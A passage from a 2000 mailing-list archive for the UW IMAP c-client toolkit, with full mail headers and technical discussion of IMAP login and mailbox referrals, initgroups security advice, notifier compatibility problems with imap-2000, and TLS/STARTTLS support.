not a bug in imap-2000. Until the developers of GCC fix this problem, we recommend that you roll back to GCC 2.8.1. GCC 2.8.1. successfully compiles imap-2000. We apologize for the trouble, but GCC bugs are out of our control. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 26 03:05:13 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Oct 2000 03:05:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id DAA05085 for ; Thu, 26 Oct 2000 03:05:10 -0700 (PDT) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA29647; Thu, 26 Oct 2000 03:05:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id DAA19366; Thu, 26 Oct 2000 03:04:26 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id DAA93680 for ; Thu, 26 Oct 2000 03:01:56 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA30806 for ; Thu, 26 Oct 2000 03:01:56 -0700 Received: from icarus.dur.ac.uk (icarus.dur.ac.uk [129.234.4.81]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA09374 for ; Thu, 26 Oct 2000 03:01:51 -0700 Received: from mercury.dur.ac.uk (mercury.dur.ac.uk [129.234.4.40]) by icarus.dur.ac.uk (8.9.1/8.9.1) with ESMTP id LAA16065 for ; Thu, 26 Oct 2000 11:01:41 +0100 (BST) Received: from arachne (arachne.dur.ac.uk [129.234.2.4]) by mercury.dur.ac.uk (8.9.1/8.9.1) with ESMTP id LAA23057 for ; Thu, 26 Oct 2000 11:01:41 +0100 (BST) Message-Id: Date: Thu, 26 Oct 2000 11:01:40 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: c-client@CAC.Washington.EDU Subject: IMAP referrals, proxy MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We have several Solaris 2.x boxes acting as mailspools ("/var/mail" INBOXs). The software here is sendmail 8.9.x (we are moving to 8.11.1), imap-4.7c and imap-utils. At present each user has to know which particular mailspool has their INBOX. What we'd like to do, if possible, is to hide these machines behind a single virtual service, so that the users don't need to know which real machine hosts their INBOX. The distribution of imap-2000-rc7 (see, I'm happy to play ball!) contains RFC2193 and RFC2222 which talk about "Mailbox referrals" and "login referrals". But I cannot see any document, or anything else, which hint at how I might begin to explore and experiment with such referrals (or other such proxy/referral mechanisms). Any pointers, please? (Is this the correct forum for my question?) -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/~dcl0tdl South Road : : Durham : : Phone: +44 191 374 2882 U.K. : -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 26 11:33:24 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Oct 2000 11:33:23 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id LAA25139 for ; Thu, 26 Oct 2000 11:33:22 -0700 (PDT) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA11197; Thu, 26 Oct 2000 11:33:20 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA45024; Thu, 26 Oct 2000 11:31:44 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA41592 for ; Thu, 26 Oct 2000 11:30:12 -0700 Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA12503 for ; Thu, 26 Oct 2000 11:30:12 -0700 Received: from westmail2.West.Sun.COM ([129.153.100.30]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA17726 for ; Thu, 26 Oct 2000 11:29:36 -0700 (PDT) Received: from nifty-jr.west.sun.com (nifty-jr.West.Sun.COM [129.153.12.95]) by westmail2.West.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id LAA29171 for ; Thu, 26 Oct 2000 11:17:24 -0700 (PDT) Message-Id: <3447009.3181547792@nifty-jr.west.sun.com> Date: Thu, 26 Oct 2000 11:16:32 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Newman To: c-client Interest List Subject: Re: initgroups() [Was: Re: Announcing: UW IMAP toolkit 2000 Release Candidate 7] (fwd) (fwd) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Thursday, October 19, 2000 16:53 +0100 David Lee wrote: > Presumably shared mailboxes require initgroups() from the reader > programs. But would tmail need it? (That is, can tmail (on the one > hand) and the reader programs (on the other) be treated independently, or > is their use of initgroups() intimately tied together?) If you remove the initgroups() call, be sure to replace it with setgroups(0, 0). Otherwise you are introducing a security bug. Note that initgroups() isn't thread safe on some Unix flavors, so people who attempted to make c-client multi-threaded should check for this bug. - Chris From pinedev@shivax2.cac.washington.edu Thu Oct 26 13:34:21 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Oct 2000 13:34:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id NAA13040 for ; Thu, 26 Oct 2000 13:34:20 -0700 (PDT) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA14853; Thu, 26 Oct 2000 13:34:18 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA25666; Thu, 26 Oct 2000 13:32:37 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA143760 for ; Thu, 26 Oct 2000 12:52:11 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA19956 for ; Thu, 26 Oct 2000 12:52:11 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (scott@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA13603 for ; Thu, 26 Oct 2000 12:52:11 -0700 Message-Id: Date: Thu, 26 Oct 2000 12:46:01 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Lee Cc: c-client@CAC.Washington.EDU Subject: re: IMAP referrals, proxy In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 26 Oct 2000 11:01:40 +0100 (BST), David Lee wrote: > At present each user has to know which particular mailspool has their > INBOX. What we'd like to do, if possible, is to hide these machines > behind a single virtual service, so that the users don't need to know > which real machine hosts their INBOX. The way that we do this is by a special DNS service. User mrc knows that his IMAP server is "mrc.deskmail.washington.edu". The real name of this machine may (and does!) change over time. The DNS server for the deskmail domain is a special version that ties into our homebrew accounting database instead of using normal zone files. The advantage of this is that there's no need to use referrals; a user is always connected directly to his correct IMAP server. > The distribution of imap-2000-rc7 (see, I'm happy to play ball!) contains > RFC2193 and RFC2222 which talk about "Mailbox referrals" and "login > referrals". But I cannot see any document, or anything else, which hint > at how I might begin to explore and experiment with such referrals (or > other such proxy/referral mechanisms). At the current time, you have to build your own mechanism for the IMAP server to consult as part of login and/or accessing a mailbox. There's nothing built into the IMAP server. Just about every site has its own homebrew way of doing this. Once you have such a mechanism implemented, the actual mods to the IMAP server to use that mechanism and pass back a referral are quite simple. The client level code fully supports referrals. From pinedev@shivax2.cac.washington.edu Thu Oct 26 14:02:24 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Oct 2000 14:02:23 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id OAA16737 for ; Thu, 26 Oct 2000 14:02:22 -0700 (PDT) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA27548; Thu, 26 Oct 2000 14:02:20 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA34170; Thu, 26 Oct 2000 14:01:26 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA206196 for ; Thu, 26 Oct 2000 13:58:58 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA01724 for ; Thu, 26 Oct 2000 13:58:58 -0700 Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.72.0.53]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA27347 for ; Thu, 26 Oct 2000 13:58:58 -0700 Received: from grand-central-station.MIT.EDU (GRAND-CENTRAL-STATION.MIT.EDU [18.69.0.34]) by fort-point-station.mit.edu (8.9.2/8.9.2) with ESMTP id QAA20991; Thu, 26 Oct 2000 16:58:57 -0400 (EDT) Received: from melbourne-city-street.MIT.EDU (MELBOURNE-CITY-STREET.MIT.EDU [18.69.0.45]) by grand-central-station.MIT.EDU (8.9.2/8.9.2) with ESMTP id QAA24125; Thu, 26 Oct 2000 16:58:57 -0400 (EDT) Received: from horobi.mit.edu (HOROBI.MIT.EDU [18.18.2.59]) by melbourne-city-street.MIT.EDU (8.9.3/8.9.2) with ESMTP id QAA22553; Thu, 26 Oct 2000 16:58:56 -0400 (EDT) Received: from localhost (jmorzins@localhost) by horobi.mit.edu (8.9.3) with ESMTP id QAA03787; Thu, 26 Oct 2000 16:58:48 -0400 (EDT) Message-Id: Date: Thu, 26 Oct 2000 16:58:46 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jacob Morzinski To: David Lee Cc: c-client@CAC.Washington.EDU Subject: Re: IMAP referrals, proxy In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 26 Oct 2000, David Lee wrote: > At present each user has to know which particular mailspool has their > INBOX. What we'd like to do, if possible, is to hide these machines > behind a single virtual service, so that the users don't need to know > which real machine hosts their INBOX. The way MIT does this is to store the user-machine pairings in a type of DNS directory, and then modify each of our mail clients to know to look in this directory to find out which host the user should connect to to get their mail. Modifying our copy of pine to understand a "/hesiod" option to the hostname, which instructs pine to do this "Hesiod lookup", was reasonably straightforward. Jacob Morzinski jmorzins@mit.edu (Obscure DNS comment: no, we no longer use class Hesiod DNS queries for these lookups. We've switched to using class Internet queries.) From pinedev@shivax2.cac.washington.edu Fri Oct 27 02:57:14 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Oct 2000 02:57:13 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id CAA22292 for ; Fri, 27 Oct 2000 02:57:11 -0700 (PDT) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA12372; Fri, 27 Oct 2000 02:57:08 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA44824; Fri, 27 Oct 2000 02:56:20 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA103666 for ; Fri, 27 Oct 2000 02:55:03 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA30716 for ; Fri, 27 Oct 2000 02:55:03 -0700 Received: from icarus.dur.ac.uk (icarus.dur.ac.uk [129.234.4.81]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA00762; Fri, 27 Oct 2000 02:54:56 -0700 Received: from mercury.dur.ac.uk (mercury.dur.ac.uk [129.234.4.40]) by icarus.dur.ac.uk (8.9.1/8.9.1) with ESMTP id KAA01120; Fri, 27 Oct 2000 10:54:48 +0100 (BST) Received: from arachne (arachne.dur.ac.uk [129.234.2.4]) by mercury.dur.ac.uk (8.9.1/8.9.1) with ESMTP id KAA23571; Fri, 27 Oct 2000 10:54:46 +0100 (BST) Message-Id: Date: Fri, 27 Oct 2000 10:54:46 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: Mark Crispin Cc: c-client@CAC.Washington.EDU Subject: re: IMAP referrals, proxy In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 26 Oct 2000, Mark Crispin wrote: > On Thu, 26 Oct 2000 11:01:40 +0100 (BST), David Lee wrote: > [...] > > The distribution of imap-2000-rc7 (see, I'm happy to play ball!) contains > > RFC2193 and RFC2222 which talk about "Mailbox referrals" and "login > > referrals". But I cannot see any document, or anything else, which hint > > at how I might begin to explore and experiment with such referrals (or > > other such proxy/referral mechanisms). > > At the current time, you have to build your own mechanism for the IMAP > server to consult as part of login and/or accessing a mailbox. There's > nothing built into the IMAP server. Just about every site has its own > homebrew way of doing this. > > Once you have such a mechanism implemented, the actual mods to the IMAP > server to use that mechanism and pass back a referral are quite simple. I'm happy to build my own mechanism to do the user->realhost lookup. But what hooks do I use in the IMAP server to invoke this? [ By analogy, we happily adjust the usual flat UNIX INBOX directory "/var/mail" (aka "/var/spool/mail") into a hierarchy, by using the hook of "env_unix.c:sysinbox". ] I suppose my questions are something like: 1. Can the server, in principle, support login referrals? And/or mailbox referrals? (By analogy, it supports the principle of INBOX relocation.) 2a. If so, what are the hooks to drive it? (By analogy, the INBOX relocation hook is "sysinbox" in "env_unix.c".) 2b. If not, what else needs doing? Note that I am trying to keep seperate the general principle (of potential use to others) from the specifics (of our own site's table lookup). Just point me in the right direction (file names, function names, etc.). > The client level code fully supports referrals. Thanks. That's useful and reassuring to know. -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/~dcl0tdl South Road : : Durham : : Phone: +44 191 374 2882 U.K. : From pinedev@shivax2.cac.washington.edu Fri Oct 27 05:09:40 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Oct 2000 05:09:39 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id FAA09532 for ; Fri, 27 Oct 2000 05:09:38 -0700 (PDT) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA14888; Fri, 27 Oct 2000 05:09:35 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id FAA31236; Fri, 27 Oct 2000 05:05:14 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id EAA219634 for ; Fri, 27 Oct 2000 04:59:56 -0700 Received: from mailsrvc.hrz.uni-oldenburg.de (mailsrvc.hrz.uni-oldenburg.de [134.106.87.10]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA05510 for ; Fri, 27 Oct 2000 04:59:55 -0700 Received: from Uni-Oldenburg.DE (kopernik.hrz.uni-oldenburg.de [134.106.61.67]) by mailsrvc.hrz.uni-oldenburg.de (8.11.1/8.11.1/04.10.2000) with ESMTP id e9RBhav15175 for ; Fri, 27 Oct 2000 13:43:36 +0200 Message-Id: <39F96A68.31FE063D@Uni-Oldenburg.DE> Date: Fri, 27 Oct 2000 13:43:36 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Bernd Wagener To: c-client@u.washington.edu Subject: imap-2000 and nsnotify MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: de,en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello! Yesterday late afternoon I installed the final version imap-2000 and it worked fine. But today the whole staff of our administration complains about the mail-server: no mailing possible! It was not true, all tests with different mail-clients worked well. But later one I found, that the Netscape-Notifier and also the Imap-Notifier from www.vandyke.com has a problem with imap-2000. The nsnotifier ask for the password in a endless loop, the imap-notifier complains about the welcome-string from the imap-server. I found in the welcome-string a new CAPABILITY - Feature and I guess, that the notifiers have problems with it. I installed the latest release-candidate and the world was peaceful for a while. Bernd Wagener -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 27 10:49:26 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Oct 2000 10:49:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id KAA15741 for ; Fri, 27 Oct 2000 10:49:25 -0700 (PDT) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA12372; Fri, 27 Oct 2000 10:49:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA29254; Fri, 27 Oct 2000 10:45:38 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA374230 for ; Fri, 27 Oct 2000 10:40:01 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA32758 for ; Fri, 27 Oct 2000 10:16:17 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jrr@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA11285 for ; Fri, 27 Oct 2000 10:16:17 -0700 Message-Id: Date: Fri, 27 Oct 2000 10:08:09 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Lee Cc: c-client@CAC.Washington.EDU Subject: re: IMAP referrals, proxy In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 27 Oct 2000 10:54:46 +0100 (BST), David Lee wrote: > I'm happy to build my own mechanism to do the user->realhost lookup. > But what hooks do I use in the IMAP server to invoke this? For login referrals, you would probably want to modify the checkpw() routine (if you want a login failure + referral) or loginpw() routine (if you want a login success + referral). > 1. Can the server, in principle, support login referrals? And/or mailbox > referrals? (By analogy, it supports the principle of INBOX > relocation.) Yes. > 2a. If so, what are the hooks to drive it? (By analogy, the INBOX > relocation hook is "sysinbox" in "env_unix.c".) checkpw()/loginpw() for login referrals. possibly mailboxfile() for mailbox referrals. Pass up the referral with mm_log(). From pinedev@shivax2.cac.washington.edu Thu Nov 2 10:18:34 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Nov 2000 10:18:34 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id KAA03500 for ; Thu, 2 Nov 2000 10:18:33 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA05281; Thu, 2 Nov 2000 10:18:31 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA07980; Thu, 2 Nov 2000 10:17:10 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA178408 for ; Thu, 2 Nov 2000 10:13:18 -0800 Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA30899 for ; Thu, 2 Nov 2000 10:13:17 -0800 Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.117.200.23]) by e1.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id NAA225082 for ; Thu, 2 Nov 2000 13:12:25 -0500 Received: from badlands.lexington.ibm.com (badlands.lexington.ibm.com [9.51.81.11]) by northrelay03.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id NAA54668 for ; Thu, 2 Nov 2000 13:12:19 -0500 Received: from localhost (cowboy@localhost [127.0.0.1]) (authenticated (0 bits)) by badlands.lexington.ibm.com (8.11.2.Beta0/8.11.2.Beta0/Debian 8.11.0-6) with ESMTP id eA2IBo217699 for ; Thu, 2 Nov 2000 13:11:51 -0500 Message-Id: Date: Thu, 2 Nov 2000 13:11:48 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Richard A Nelson To: Subject: smtp support in c-client MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-No-Markup: yes X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I was able to get sasl authentication working betwixt c-client(PINE) and sendmail 8.11.1 without any problems ;-} I'm having difficulty in getting TLS encryption/authentication going, however. It seems the rest of the SSL support is geared towards wrappers - not selectable like sendmail starttls. Is there an easy way to coerce pine/c-client to assume the sendmail server is running under sslwrap ? (like having pine support port names instead of simply numbers on the smtp-server ?) Once this is working, it'd be nice (and fairly easy) to extend c-clients handling of ehlo responces to notice the STARTTLS responce and dynamically start encryption. Then, theres ssl authentication ... probably at first just brute forcing the noverify (my server has self-signed certs). Is anyone else working/looking in this direction? -- Rick Nelson Life'll kill ya -- Warren Zevon Then you'll be dead -- Life'll kill ya -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 2 11:02:28 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Nov 2000 11:02:27 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id LAA06250 for ; Thu, 2 Nov 2000 11:02:26 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA06868; Thu, 2 Nov 2000 11:02:20 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA33498; Thu, 2 Nov 2000 11:01:07 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA361046 for ; Thu, 2 Nov 2000 10:59:24 -0800 Received: from samadhi.braincells.com (root@[216.99.37.100]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA12780 for ; Thu, 2 Nov 2000 10:59:23 -0800 Received: from localhost (jaldhar@localhost) by samadhi.braincells.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA21612; Thu, 2 Nov 2000 14:06:09 -0500 Message-Id: Date: Thu, 2 Nov 2000 14:06:09 -0500 (EST) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: Richard A Nelson Cc: c-client@u.washington.edu Subject: Re: smtp support in c-client In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: jaldhar@samadhi.braincells.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 2 Nov 2000, Richard A Nelson wrote: > I was able to get sasl authentication working betwixt c-client(PINE) > and sendmail 8.11.1 without any problems ;-} > > I'm having difficulty in getting TLS encryption/authentication going, > however. It seems the rest of the SSL support is geared towards > wrappers - not selectable like sendmail starttls. > > Is there an easy way to coerce pine/c-client to assume the sendmail > server is running under sslwrap ? (like having pine support port names > instead of simply numbers on the smtp-server ?) > > Once this is working, it'd be nice (and fairly easy) to extend c-clients > handling of ehlo responces to notice the STARTTLS responce and dynamically > start encryption. > > Then, theres ssl authentication ... probably at first just brute forcing > the noverify (my server has self-signed certs). > > Is anyone else working/looking in this direction? > Hi Richard, I assume you're using the debian version? :-) That's c-client 4.7. the version in imap2000 (which I am packaging write now) has much greater support. From the FAQ: Q: Can I use TLS and the STARTTLS facility? A: Yes. imap-2000 supports SSL client functionality for IMAP, POP3, SMTP, and NNTP; and SSL and TLS server functionality for IMAP and POP3. This is available on UNIX, and 32-bit Windows. UNIX SSL build requires that a third-party software package, OpenSSL, be installed on the system first. Read imap-2000/docs/SSLBUILD for more information. I will make a seperate libc-client2000-ssl which will have this support compiled in. Hope this helps. -- Jaldhar H. Vyas From pinedev@shivax2.cac.washington.edu Thu Nov 2 12:04:34 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Nov 2000 12:04:34 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id MAA30349 for ; Thu, 2 Nov 2000 12:04:33 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA19359; Thu, 2 Nov 2000 12:04:30 -0800 Received: from host 